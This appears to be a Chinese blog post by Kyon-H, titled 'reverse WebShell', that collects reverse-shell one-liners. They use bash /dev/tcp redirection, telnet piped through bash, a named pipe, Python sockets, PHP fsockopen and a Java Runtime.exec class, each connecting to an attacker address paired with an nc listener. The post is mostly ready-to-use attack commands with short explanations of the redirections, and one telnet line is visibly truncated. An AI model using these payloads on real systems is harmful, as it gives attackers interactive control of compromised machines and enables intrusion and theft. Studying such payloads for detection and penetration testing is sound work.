反弹WebShell

反弹WebShell

Posted by Kyon-H on August 2, 2023

bash

1
2
3
4
# 攻击机
nc -lvvp port
# 目标机
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
1
2
3
4
5
6
7
8
9
# 方法2
exec 0&0 2>&0

0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1

# 方法3
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
  • bash -i 打开一个交互的bash
  • >& 将标准错误输出重定向到标准输出
  • /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
  • 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

   
标准输入 (stdin) 代码为 0 ,使用 < 或 «
标准输出 (stdout) 代码为 1 ,使用 > 或 »
标准错误输出(stderr) 代码为 2 ,使用 2> 或 2»

Telnet

1
2
3
4
5
# 攻击机打开两个终端开启两个端口,分别用来输入和输出
nc -lvvp 4444
nc -lvvp 5555
# 目标主机
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
1
2
# 方法2
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

PHP

1
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}